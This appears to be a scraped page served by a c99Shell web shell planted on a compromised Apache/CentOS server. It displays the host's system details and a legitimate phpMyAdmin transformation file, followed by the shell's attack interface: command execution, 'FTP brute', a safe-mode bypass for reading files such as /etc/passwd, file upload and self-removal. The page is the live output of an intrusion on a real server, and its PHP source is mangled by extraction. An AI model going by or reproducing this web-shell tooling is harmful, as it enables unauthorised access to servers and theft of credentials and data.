!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/phpMyAdmin/libraries/transformations/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.87%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     text_plain__external.inc.php (2.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/* $Id: text_plain__external.inc.php,v 2.8 2006/01/19 15:39:29 cybot_tm Exp $ */
// vim: expandtab sw=4 ts=4 sts=4:

function PMA_transformation_text_plain__external_nowrap($options = array()) {
    if (!isset(
$options[3]) || $options[3] == '') {
        
$nowrap true;
    } elseif (
$options[3] == '1' || $options[3] == 1) {
        
$nowrap true;
    } else {
        
$nowrap false;
    }

    return 
$nowrap;
}

function 
PMA_transformation_text_plain__external($buffer$options = array(), $meta '') {
    
// possibly use a global transform and feed it with special options:
    // include('./libraries/transformations/global.inc.php');

    // further operations on $buffer using the $options[] array.

    
$allowed_programs = array();

    
//
    // WARNING:
    //
    // It's up to administrator to allow anything here. Note that users may
    // specify any parameters, so when programs allow output redirection or
    // any other possibly dangerous operations, you should write wrapper
    // script that will publish only functions you really want.
    //
    // Add here program definitions like (note that these are NOT safe
    // programs):
    //
    //$allowed_programs[0] = '/usr/local/bin/tidy';
    //$allowed_programs[1] = '/usr/local/bin/validate';

    // no-op when no allowed programs
    
if (count($allowed_programs) == 0) {
        return 
$buffer;
    }

    if (!isset(
$options[0]) ||  $options[0] == '' || !isset($allowed_programs[$options[0]])) {
        
$program $allowed_programs[0];
    } else {
        
$program $allowed_programs[$options[0]];
    }

    if (!isset(
$options[1]) || $options[1] == '') {
        
$poptions '-f /dev/null -i -wrap -q';
    } else {
        
$poptions $options[1];
    }

    if (!isset(
$options[2]) || $options[2] == '') {
        
$options[2] = 1;
    }

    if (!isset(
$options[3]) || $options[3] == '') {
        
$options[3] = 1;
    }

    
// needs PHP >= 4.3.0
    
$newstring '';
    
$descriptorspec = array(
        
=> array("pipe""r"),
        
=> array("pipe""w")
    );
    
$process proc_open($program ' ' $poptions$descriptorspec$pipes);
    if (
is_resource($process)) {
        
fwrite($pipes[0], $buffer);
        
fclose($pipes[0]);

        while (!
feof($pipes[1])) {
            
$newstring .= fgets($pipes[1], 1024);
        }
        
fclose($pipes[1]);
        
// we don't currently use the return value 
        
$return_value proc_close($process);
    }

    if (
$options[2] == || $options[2] == '2') {
        
$retstring htmlspecialchars($newstring);
    } else {
        
$retstring $newstring;
    }

    return 
$retstring;
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.013 ]--